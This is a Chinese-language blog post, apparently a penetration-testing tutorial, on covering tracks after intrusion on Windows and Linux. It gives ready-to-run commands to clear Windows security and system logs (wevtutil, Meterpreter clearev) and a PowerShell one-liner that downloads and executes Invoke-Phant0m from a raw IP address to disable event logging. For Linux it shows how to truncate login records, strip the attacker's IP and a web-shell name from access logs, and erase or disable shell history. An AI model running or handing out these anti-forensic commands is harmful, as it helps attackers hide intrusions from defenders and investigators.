一、痕迹清除简介
在渗透测试过程中,Windows日志往往会记录系统上的敏感操作,如添加用户,远程登录,执行命令等。攻击者通常会对Windows日志进行清除和绕过。
二、Windows痕迹清除
1.Windows日志
(1)如何查看:
- 事件查看器 -> windows日志
- win+r eventvwr.msc
(2)保存路径:
- C:\Windows\System32\winevt\Logs\
- %systemroot%\System32\winevt\Logs\
(3)包括五个类别:应用程序、安全、Setup、系统、转发事件
powershell -c "Get-WinEvent -FilterHashtable @{logname='Application';}" (Application可换为system、setup、security)

<1>系统日志:System
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。
<2>应用程序日志:Application
包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。
<3>安全日志:Security
记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。
2.Windows日志清理
wevtutil.exe:用于检索有关事件日志和发布者的信息,安装和卸载事件清单,运行查询以及导出、存档和清除日志。
wevtutil cl security
wevtutil cl system
wevtutil cl application
wevtutil cl "windows powershell"

3.meterpreter清理日志
- 删除所有在渗透过程中使用的工具
- 删除之前添加的账号:net user username /del
- 删除应用程序、系统和安全日志:clearev #分别清除了应用程序,系统和安全模块的日志记录。
- 关闭所有的Meterpreter连接:sessions –K
- 查看事件日志:run event_manager -i
- 删除事件日志:run event_manager -c



4.停止日志记录
利用脚本让日志功能失效,无法记录日志。
powershell "IEX(new-object system.net.webclient).downloadstring('http://8.131.57.209:8000/Invoke Phant0m.ps1');Invoke-Phant0m"
把eventlog对应的svchost进程结束,重新开启Windows Event Log服务,即可恢复日志记录。

5.EventCleaner
https://github.com/QAX-A-Team/EventCleaner
- EventCleaner closehandle (关闭句柄)
- EventCleaner 100 (删除指定时间id的日志)
- EventCleaner suspend (关闭日志记录所有线程)
- do anything without worrying about logs (进行任意操作)
- EventCleaner normal (恢复日志记录)
- delete EventCleaner (删除程序)
- EventCleaner suspend:暂停日志线程,停止日志记录
- EventCleaner normal:恢复日志线程
- EventCleaner closehandle:解除 security.evtx文件占用
- EventCleaner 100:删除 event record id 为 100 的日志
三、Linux痕迹清除
1.登录日志(二进制文件,只能通过命令查询)
ssh远程登录会产生登录日志
命令 日志文件 描述
last /var/log/wtmp 所有成功登录/登出的历史记录
lastb /var/log/btmp 登录失败尝试记录
lastlog /var/log/lastlog 最近登录记录
w,who /var/run/utmp 记录当前登录的每个用户的信息,它只保留当时连接的用户记录,不会为用户保留永久的记录
命令的输出包括:登录名,上次登录时间,IP地址,端口等。
2.登录日志清理
last等日志是二进制文件,无法直接修改。所以清除的最简单方式是清空日志文件本身。
清空lastb对应的/var/log/btmp文件需要root权限(通过重定向)
- > /var/log/wtmp
- > /var/log/btmp
- > /var/log/lastlog
3.WEB日志
- /var/log/httpd/access.log
- /var/log/nginx/access.log
- ……
4.WEB日志清理
删除所有包含shell.php这个字符串的行:
cat /var/log/nginx/access.log | grep -v shell.php > /tmp/a.log
cat /tmp/a.log > /var/log/nginx/access.log
删除包含123.123.123.123这个字符串(我们自己的IP)的行:
sed -i -e '/shell.php/d' /var/log/httpd/access.log
sed -i -e '/123\.123\.123\.123/d' /var/log/httpd/access.log
5.定时任务日志
/var/log/cron:记录了系统定时任务相关的日志
6.secure日志
/var/log/secure:记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中。
7.操作历史记录
history:显示历史记录
~/.bash_history:历史记录文件
删除全部历史记录:history –w && history –c && > .bash_history
删除指定行的历史记录:history -d 111
备份还原历史记录:cp .bash_history his.txt
删除100行以后的历史记录:sed -i "100,$d" .bash_history
8.隐藏历史记录
开启无痕模式,禁用命令历史记录功能:
set +o history
恢复:
set -o history
Comments | 2 条评论
啥也不说了,希望疫情早点结束吧!
@金万达 同样希望!加油!